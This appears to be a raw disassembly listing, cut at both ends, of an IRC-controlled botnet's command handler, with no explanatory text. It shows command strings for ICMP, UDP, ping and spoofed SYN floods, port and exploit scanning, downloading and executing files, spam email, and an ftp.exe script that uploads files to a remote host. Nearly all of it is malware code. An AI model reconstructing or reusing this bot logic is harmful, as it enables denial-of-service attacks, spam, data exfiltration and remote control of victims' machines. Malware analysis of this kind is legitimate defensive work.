offset aC_join ; "c_join" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40820E push [ebp+arg_10] push offset aC_j ; "c_j" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40820E push [ebp+arg_10] push offset aC_part ; "c_part" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4081AE push [ebp+arg_10] push offset aC_p ; "c_p" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4081AE push [ebp+arg_10] push offset aTarga3 ; "targa3" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4080DC push [ebp+arg_10] push offset aT3 ; "t3" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4080DC push [ebp+arg_10] push offset aTsunami ; "tsunami" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407FE4 push [ebp+arg_10] push offset aTsn ; "tsn" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407FE4 push [ebp+arg_10] push offset aRepeat ; "repeat" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407F0F push [ebp+arg_10] push offset aRp ; "rp" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407F0F push [ebp+arg_10] push offset aDelay ; "delay" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407E74 push [ebp+arg_10] push offset aDe ; "de" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407E74 push [ebp+arg_10] push offset aUpdate ; "update" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407CEB push [ebp+arg_10] push offset aU11p ; "u11p" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407CEB push [ebp+arg_10] push offset aExecute ; "execute" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407C58 push [ebp+arg_10] push offset aE ; "e" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407C58 push [ebp+arg_10] push offset aRename ; "rename" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407BE3 push [ebp+arg_10] push offset aMv ; "mv" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407BE3 push [ebp+arg_10] push offset aIcmpflood ; "icmpflood" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407AEC push [ebp+arg_10] push offset aIcmp ; "icmp" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407AEC mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40207C push [ebp+arg_10] push offset aClone_0 ; "clone" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407A04 push [ebp+arg_10] push offset aC ; "c" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407A04 push [ebp+arg_10] push offset aUsa_syn ; "usa.syn" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40790B push [ebp+arg_10] push offset aUsa_ack ; "usa.ack" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40790B push [ebp+arg_10] push offset aUsa_rm ; "usa.rm" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40790B push [ebp+arg_10] push offset aWis_u ; "wis.u" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_40618B push 7Fh lea eax, [ebp+var_2978] pop esi push esi push edi push eax call sub_41B1F0 push esi lea eax, [ebp+var_28F8] push [ebp+arg_18] push eax call sub_41B1F0 push esi lea eax, [ebp+var_2878] push [ebp+arg_0] push eax call sub_41B1F0 push esi lea eax, [ebp+var_27F8] push [ebp+var_88] push eax call sub_41B1F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_2770], eax push ebx lea eax, [ebp+var_2C0] push 13h push eax mov [ebp+var_2774], edi mov [ebp+var_297C], esi call sub_40A7FD add esp, 3Ch mov [ebp+var_2778], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_297C] push ebx push eax push offset sub_413A92 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_2778] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_40617A loc_406164: ; CODE XREF: sub_401CC1+44B7j cmp [ebp+var_276C], ebx jnz loc_403ACC push 32h call dword_4F1334 ; Sleep jmp short loc_406164 ; --------------------------------------------------------------------------- loc_40617A: ; CODE XREF: sub_401CC1+44A1j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_443EBC jmp loc_403ABD ; --------------------------------------------------------------------------- loc_40618B: ; CODE XREF: sub_401CC1+43F7j push [ebp+arg_10] push offset aSfnfff ; "sfnfff" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407823 push [ebp+arg_10] push offset aSy1 ; "sy1" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407823 push [ebp+arg_10] push offset aSkysyn ; "skysyn" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_4062B8 push 7Fh lea eax, [ebp+var_2764] pop esi push esi push edi push eax call sub_41B1F0 push esi lea eax, [ebp+var_26E4] push [ebp+arg_18] push eax call sub_41B1F0 push esi lea eax, [ebp+var_2664] push [ebp+arg_0] push eax call sub_41B1F0 push esi lea eax, [ebp+var_25E4] push [ebp+var_88] push eax call sub_41B1F0 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_2560], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_255C], eax lea eax, [ebp+var_2C0] push edi push offset dword_443F78 push eax mov [ebp+var_2768], esi call sub_41B740 add esp, 44h lea eax, [ebp+var_2C0] push ebx push 10h push eax call sub_40A7FD add esp, 0Ch mov [ebp+var_2564], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2768] push ebx push eax push offset sub_4129F7 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_2564] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_4062A7 loc_406291: ; CODE XREF: sub_401CC1+45E4j cmp [ebp+var_2558], ebx jnz loc_406C2E push 32h call dword_4F1334 ; Sleep jmp short loc_406291 ; --------------------------------------------------------------------------- loc_4062A7: ; CODE XREF: sub_401CC1+45CEj call dword_4F1348 ; RtlGetLastWin32Error push eax push offset dword_443FA8 jmp loc_406C1F ; --------------------------------------------------------------------------- loc_4062B8: ; CODE XREF: sub_401CC1+4509j push [ebp+arg_10] push offset aPhatwonk ; "phatwonk" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40773B push [ebp+arg_10] push offset aWonk ; "wonk" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40773B push [ebp+arg_10] push offset aDownload1 ; "download1" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407600 push [ebp+arg_10] push offset aD1 ; "d1" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407600 push [ebp+arg_10] push offset aRedirect ; "redirect" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407506 push [ebp+arg_10] push offset aRd ; "rd" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407506 push [ebp+arg_10] push offset aScan ; "scan" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407413 push [ebp+arg_10] push offset aSc ; "sc" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407413 push [ebp+arg_10] push offset aC_privmsg ; "c_privmsg" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40733E push [ebp+arg_10] push offset aC_pm ; "c_pm" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40733E push [ebp+arg_10] push offset aC_action ; "c_action" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40722C push [ebp+arg_10] push offset aC_a ; "c_a" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40722C mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_1C], eax jz loc_40207C push [ebp+arg_10] push offset aPortscan ; "portscan" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407126 push [ebp+arg_10] push offset aPsc ; "psc" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407126 push [ebp+arg_10] push offset aAdvscan ; "advscan" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_406C4E push [ebp+arg_10] push offset aVvv ; "vvv" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_406C4E push [ebp+arg_10] push offset aUdpflood ; "udpflood" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_406B08 push [ebp+arg_10] push offset aPu1 ; "pu1" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_406B08 push [ebp+arg_10] push offset aU ; "u" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_406B08 push [ebp+arg_10] push offset aNetsend ; "netsend" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4069FA push [ebp+arg_10] push offset aNs ; "ns" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4069FA push [ebp+arg_10] push offset aPingflood ; "pingflood" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4068D3 push [ebp+arg_10] push offset aPing_0 ; "ping" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4068D3 push [ebp+arg_10] push offset aP ; "p" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4068D3 push [ebp+arg_10] push offset aTfpff ; "tfpff" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_406723 push [ebp+arg_10] push offset aUsa ; "usa" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_406723 push [ebp+arg_10] push offset aEmail ; "email" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_4066CB lea eax, [ebp+var_4150] push edi push eax call sub_41C300 push [ebp+arg_18] call sub_41B3F0 push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_36E8] push eax call sub_41C300 push [ebp+arg_1C] lea eax, [ebp+var_35E8] push eax call sub_41C300 push offset asc_44477C ; " " push offset a__0 ; "_" push [ebp+esi+var_7C] call sub_415C6E push eax lea eax, [ebp+var_34E8] push eax call sub_41C300 add esp, 30h lea eax, [ebp+var_46E8] push eax push 101h call dword_4E081C lea eax, [ebp+var_4150] push eax call dword_4E0920 push 6 push 1 push 2 mov edi, eax call dword_4E091C push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4E08A0 mov [ebp+var_31A], ax lea eax, [ebp+var_34E8] push eax lea eax, [ebp+var_36E8] push eax lea eax, [ebp+var_34E8] push eax lea eax, [ebp+var_35E8] push eax lea eax, [ebp+var_36E8] push eax lea eax, [ebp+var_4AE8] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B740 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4E084C mov edi, 100h push ebx lea eax, [ebp+var_37E8] push edi push eax push esi call dword_4E08B8 lea eax, [ebp+var_37E8] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_4AE8] push eax push esi call dword_4E08EC push ebx lea eax, [ebp+var_37E8] push edi push eax push esi call dword_4E08B8 push esi call dword_4E0934 call dword_4E0804 lea eax, [ebp+var_35E8] push eax push offset unk_4447D0 loc_406684: ; CODE XREF: sub_401CC1+5E26j ; sub_401CC1+6025j ... lea eax, [ebp+var_2C0] push eax call sub_41B740 loc_406690: ; CODE XREF: sub_401CC1+1FD7j add esp, 0Ch loc_406693: ; CODE XREF: sub_401CC1+3CFFj ; sub_401CC1+3D59j ... cmp [ebp+var_8], ebx jnz short loc_4066B4 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 14h loc_4066B4: ; CODE XREF: sub_401CC1+24ECj ; sub_401CC1+2517j ... mov esi, [ebp+arg_24] loc_4066B7: ; CODE XREF: sub_401CC1+5F92j ; sub_401CC1+6B67j ... lea eax, [ebp+var_2C0] push eax call sub_41458A pop ecx mov eax, esi jmp loc_40207F ; --------------------------------------------------------------------------- loc_4066CB: ; CODE XREF: sub_401CC1+486Dj push [ebp+arg_10] push offset aHttpcon ; "httpcon" call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_4066F5 push [ebp+arg_10] push offset aHcon ; "hcon" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_406CA0 loc_4066F5: ; CODE XREF: sub_401CC1+4A1Bj push [ebp+esi+var_7C] push [ebp+arg_1C] push [ebp+arg_0] push [ebp+arg_18] call sub_41B3F0 pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40FBF0 jmp loc_408C9E ; --------------------------------------------------------------------------- loc_406723: ; CODE XREF: sub_401CC1+483Fj ; sub_401CC1+4856j mov esi, 80h push edi lea eax, [ebp+var_1100] push esi push eax call sub_41B910 lea eax, [ebp+var_1100] push eax push offset aSyn ; "syn" call sub_41C4C0 add esp, 14h test eax, eax jz short loc_406786 lea eax, [ebp+var_1100] push eax push offset aAck ; "ack" call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_406786 lea eax, [ebp+var_1100] push eax push offset aRandom_0 ; "random" call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_406786 push offset unk_444748 jmp loc_4068C0 ; --------------------------------------------------------------------------- loc_406786: ; CODE XREF: sub_401CC1+4A8Bj ; sub_401CC1+4AA2j ... push [ebp+arg_1C] call sub_41B3F0 cmp eax, ebx pop ecx mov [ebp+var_FF8], eax jle loc_4068BB push edi lea eax, [ebp+var_1100] push esi push eax call sub_41B910 push [ebp+arg_18] lea eax, [ebp+var_1180] push esi push eax call sub_41B910 push [ebp+arg_0] call sub_41B3F0 mov [ebp+var_FFC], eax xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_FF4], eax mov eax, [ebp+arg_4] mov [ebp+var_1184], eax lea eax, [ebp+var_1080] push esi push eax call sub_41B910 mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_FF4], ebx mov [ebp+var_FF0], eax mov eax, [ebp+var_8] mov [ebp+var_FEC], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40681D mov eax, offset aNormal ; "Normal" loc_40681D: ; CODE XREF: sub_401CC1+4B55j push [ebp+arg_1C] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset unk_4446A4 lea eax, [ebp+var_2C0] push 200h push eax call sub_41B910 push ebx lea eax, [ebp+var_2C0] push 14h push eax call sub_40A7FD add esp, 2Ch mov [ebp+var_1000], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1184] push ebx push eax push offset sub_4131FE push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_1000] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_40689B loc_406885: ; CODE XREF: sub_401CC1+4BD8j cmp [ebp+var_FE8], ebx jnz loc_407C2F push 32h call dword_4F1334 ; Sleep jmp short loc_406885 ; --------------------------------------------------------------------------- loc_40689B: ; CODE XREF: sub_401CC1+4BC2j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_4446D8 loc_4068A7: ; CODE XREF: sub_401CC1+1C8Aj ; sub_401CC1+2925j ... lea eax, [ebp+var_2C0] push eax call sub_41B740 loc_4068B3: ; CODE XREF: sub_401CC1+4D34j add esp, 0Ch jmp loc_407C2F ; --------------------------------------------------------------------------- loc_4068BB: ; CODE XREF: sub_401CC1+4AD6j push offset unk_444710 loc_4068C0: ; CODE XREF: sub_401CC1+1B53j ; sub_401CC1+1B69j ... lea eax, [ebp+var_2C0] push eax call sub_41B740 pop ecx pop ecx jmp loc_407C2F ; --------------------------------------------------------------------------- loc_4068D3: ; CODE XREF: sub_401CC1+47FAj ; sub_401CC1+4811j ... cmp dword_4E098C, ebx jnz loc_4069DF mov eax, [ebp+var_8] push 7Fh mov [ebp+var_DA0], eax mov eax, [ebp+var_4] mov [ebp+var_DA4], eax lea eax, [ebp+var_E38] push edi push eax call sub_41B1F0 push [ebp+arg_18] call sub_41B3F0 push [ebp+arg_0] mov [ebp+var_DB8], eax call sub_41B3F0 push [ebp+arg_1C] mov [ebp+var_DB4], eax call sub_41B3F0 push 7Fh mov [ebp+var_DB0], eax push [ebp+var_88] lea eax, [ebp+var_EB8] push eax call sub_41B1F0 push [ebp+var_DB0] mov eax, [ebp+arg_4] mov [ebp+var_EBC], eax lea eax, [ebp+var_E38] push [ebp+var_DB4] push eax lea eax, [ebp+var_2C0] push [ebp+var_DB8] push offset unk_4445E0 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 16h push eax call sub_40A7FD add esp, 48h mov [ebp+var_DA8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EBC] push ebx push eax push offset sub_412655 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_DA8] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_4069CE loc_4069B8: ; CODE XREF: sub_401CC1+4D0Bj cmp [ebp+var_D9C], ebx jnz loc_407C2F push 32h call dword_4F1334 ; Sleep jmp short loc_4069B8 ; --------------------------------------------------------------------------- loc_4069CE: ; CODE XREF: sub_401CC1+4CF5j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_444628 jmp loc_4068A7 ; --------------------------------------------------------------------------- loc_4069DF: ; CODE XREF: sub_401CC1+4C18j push 1FFh lea eax, [ebp+var_2C0] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B1F0 jmp loc_4068B3 ; --------------------------------------------------------------------------- loc_4069FA: ; CODE XREF: sub_401CC1+47CCj ; sub_401CC1+47E3j push [ebp+arg_18] lea eax, [ebp+var_2C0] push edi push [ebp+arg_0] push offset unk_4444EC push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 push [ebp+arg_0] call sub_418D00 push [ebp+arg_18] mov edi, eax call sub_418D00 push [ebp+arg_20] add edi, eax call sub_418D00 push [ebp+arg_10] add edi, eax call sub_418D00 add eax, [ebp+var_C] push [ebp+arg_1C] lea eax, [eax+edi+7] push eax call sub_41B890 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B3F0 mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_8], ebx jle short loc_406AF4 loc_406A7D: ; CODE XREF: sub_401CC1+4DE0j push [ebp+arg_C] push [ebp+arg_18] push edi call sub_4164D5 add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_406AA5 cmp eax, ebx jnz short loc_406AC4 inc [ebp+arg_8] mov eax, [ebp+arg_8] cmp eax, [ebp+arg_14] jl short loc_406A7D jmp short loc_406AFD ; --------------------------------------------------------------------------- loc_406AA5: ; CODE XREF: sub_401CC1+4DD1j push ebx push [ebp+var_4] push offset unk_444528 loc_406AAE: ; CODE XREF: sub_401CC1+4E45j push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 14h jmp loc_406CA0 ; --------------------------------------------------------------------------- loc_406AC4: ; CODE XREF: sub_401CC1+4DD5j push [ebp+arg_20] lea eax, [ebp+var_2C0] push offset unk_444560 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 20h loc_406AF4: ; CODE XREF: sub_401CC1+4DBAj cmp [ebp+arg_20], ebx jnz loc_406CA0 loc_406AFD: ; CODE XREF: sub_401CC1+4DE2j push ebx push [ebp+var_4] push offset unk_444594 jmp short loc_406AAE ; --------------------------------------------------------------------------- loc_406B08: ; CODE XREF: sub_401CC1+4787j ; sub_401CC1+479Ej ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_B38], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax lea eax, [ebp+var_BD0] push edi push eax call sub_41B1F0 push [ebp+arg_18] call sub_41B3F0 push [ebp+arg_0] mov [ebp+var_B50], eax call sub_41B3F0 push [ebp+arg_1C] mov [ebp+var_B4C], eax call sub_41B3F0 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_B48], eax jz short loc_406B6D push esi call sub_41B3F0 pop ecx mov [ebp+var_B44], eax jmp short loc_406B73 ; --------------------------------------------------------------------------- loc_406B6D: ; CODE XREF: sub_401CC1+4E9Bj mov [ebp+var_B44], ebx loc_406B73: ; CODE XREF: sub_401CC1+4EAAj push 7Fh lea eax, [ebp+var_C50] push [ebp+var_88] push eax call sub_41B1F0 push [ebp+var_B48] mov esi, [ebp+arg_4] lea eax, [ebp+var_BD0] mov [ebp+var_C54], esi push [ebp+var_B4C] push eax lea eax, [ebp+var_2C0] push [ebp+var_B50] push offset unk_444460 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 17h push eax call sub_40A7FD add esp, 30h mov [ebp+var_B40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C54] push ebx push eax push offset sub_4127E1 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_B40] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_406C13 loc_406C01: ; CODE XREF: sub_401CC1+4F50j cmp [ebp+var_B34], ebx jnz short loc_406C2E push 32h call dword_4F1334 ; Sleep jmp short loc_406C01 ; --------------------------------------------------------------------------- loc_406C13: ; CODE XREF: sub_401CC1+4F3Ej call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_4444A8 loc_406C1F: ; CODE XREF: sub_401CC1+45F2j ; sub_401CC1+5A75j ... lea eax, [ebp+var_2C0] push eax call sub_41B740 add esp, 0Ch loc_406C2E: ; CODE XREF: sub_401CC1+45D6j ; sub_401CC1+4F46j ... cmp [ebp+var_8], ebx jnz loc_407C50 push ebx push [ebp+var_4] loc_406C3B: ; CODE XREF: sub_401CC1+1E16j lea eax, [ebp+var_2C0] push eax push [ebp+var_88] push esi jmp loc_407C48 ; --------------------------------------------------------------------------- loc_406C4E: ; CODE XREF: sub_401CC1+4759j ; sub_401CC1+4770j push 0Bh call sub_40AA45 push [ebp+arg_18] mov [ebp+arg_8], eax call sub_41B3F0 add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 1F4h jle loc_406E16 push [ebp+arg_8] lea eax, [ebp+var_2C0] push offset unk_4442F0 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 20h loc_406CA0: ; CODE XREF: sub_401CC1+4A2Ej ; sub_401CC1+4DFEj ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_40207C push [ebp+arg_10] push offset aUpload ; "upload" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_408CA1 push 4 push esi call sub_414F2C pop ecx test eax, eax pop ecx jnz short loc_406CEB push esi push offset unk_44480C loc_406CD7: ; CODE XREF: sub_401CC1+6DAEj lea eax, [ebp+var_2C0] push eax call sub_41B740 add esp, 0Ch jmp loc_408A87 ; --------------------------------------------------------------------------- loc_406CEB: ; CODE XREF: sub_401CC1+500Ej call dword_4F1364 ; GetTickCount push eax call sub_41B840 pop ecx call sub_41B850 push 9 cdq pop ecx idiv ecx push edx call sub_41B850 push 63h cdq pop ecx idiv ecx push edx call sub_41B850 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_4558] push edx push eax lea eax, [ebp+var_22B0] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B740 lea eax, [ebp+var_22B0] push offset aAb ; "ab" push eax call sub_41B170 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40207C push esi push [ebp+arg_1C] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C1C0 push [ebp+arg_24] call sub_418D80 lea eax, [ebp+var_22B0] push eax lea eax, [ebp+var_4350] push offset aSS_0 ; "-s:%s" push eax call sub_41B740 add esp, 2Ch lea eax, [ebp+var_4350] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen_0 ; "open" push ebx call dword_4E0818 test eax, eax push edi push esi jz short loc_406DB5 push offset unk_44487C jmp short loc_406DBA ; --------------------------------------------------------------------------- loc_406DB5: ; CODE XREF: sub_401CC1+50EBj push offset unk_4448A4 loc_406DBA: ; CODE XREF: sub_401CC1+50F2j call sub_41B740 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_406DE3 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 14h loc_406DE3: ; CODE XREF: sub_401CC1+5104j lea eax, [ebp+var_2C0] push eax call sub_41458A loc_406DEF: ; CODE XREF: sub_401CC1+5153j lea eax, [ebp+var_22B0] push 4 push eax call sub_414F2C add esp, 0Ch test eax, eax jz loc_40207C lea eax, [ebp+var_22B0] push eax call sub_41C150 jmp short loc_406DEF ; --------------------------------------------------------------------------- loc_406E16: ; CODE XREF: sub_401CC1+4FA9j push edi call sub_41B3F0 push [ebp+arg_18] mov [ebp+var_370], eax call sub_41B3F0 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B3F0 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_406E4F push 5 pop eax mov [ebp+var_36C], eax loc_406E4F: ; CODE XREF: sub_401CC1+5183j push 3Ch pop ecx cmp eax, ecx jbe short loc_406E5C mov [ebp+var_36C], ecx loc_406E5C: ; CODE XREF: sub_401CC1+5193j push [ebp+arg_1C] call sub_41B3F0 cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_406E7C mov [ebp+var_368], 320h loc_406E7C: ; CODE XREF: sub_401CC1+51AFj or [ebp+var_354], 0FFFFFFFFh cmp dword_4492A8, ebx mov [ebp+arg_8], ebx jz short loc_406ED2 mov [ebp+arg_24], offset dword_4492A8 loc_406E95: ; CODE XREF: sub_401CC1+51F3j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_406EB8 add [ebp+arg_24], 40h inc [ebp+arg_8] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_406E95 jmp short loc_406ED2 ; --------------------------------------------------------------------------- loc_406EB8: ; CODE XREF: sub_401CC1+51E5j mov eax, [ebp+arg_8] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_4492A8[ecx] mov [ebp+var_370], ecx loc_406ED2: ; CODE XREF: sub_401CC1+51CBj ; sub_401CC1+51F5j cmp [ebp+var_370], ebx jnz short loc_406EE4 push offset unk_444330 jmp loc_4068C0 ; --------------------------------------------------------------------------- loc_406EE4: ; CODE XREF: sub_401CC1+5217j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_406F1F cmp byte ptr [edi], 23h jz short loc_406F1F push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B910 push 78h push edi call sub_41C400 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_406FF9 ; --------------------------------------------------------------------------- loc_406F1F: ; CODE XREF: sub_401CC1+522Cj ; sub_401CC1+5231j cmp [ebp+var_8FF], bl jnz short loc_406F41 cmp [ebp+var_8FE], bl jnz short loc_406F41 cmp [ebp+var_8EE], bl jnz short loc_406F41 push offset unk_444364 jmp loc_4068C0 ; --------------------------------------------------------------------------- loc_406F41: ; CODE XREF: sub_401CC1+5264j ; sub_401CC1+526Cj ... push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4E0848 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4E0928 push eax lea eax, [ebp+var_484] push eax call sub_41B1F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_406FF3 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41C290 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_406FE7 loc_406FC5: ; CODE XREF: sub_401CC1+5324j cmp eax, ebx jz short loc_406FE7 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41C290 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_406FC5 loc_406FE7: ; CODE XREF: sub_401CC1+5302j ; sub_401CC1+5306j mov [ebp+var_344], 1 jmp short loc_406FF9 ; --------------------------------------------------------------------------- loc_406FF3: ; CODE XREF: sub_401CC1+52DCj mov [ebp+var_344], ebx loc_406FF9: ; CODE XREF: sub_401CC1+5259j ; sub_401CC1+5330j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B910 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_40704A loc_407037: ; CODE XREF: sub_401CC1+53ACj push esi loc_407038: ; CODE XREF: sub_401CC1+5396j lea eax, [ebp+var_3F4] push edi push eax call sub_41B910 add esp, 0Ch jmp short loc_407075 ; --------------------------------------------------------------------------- loc_40704A: ; CODE XREF: sub_401CC1+5374j mov eax, 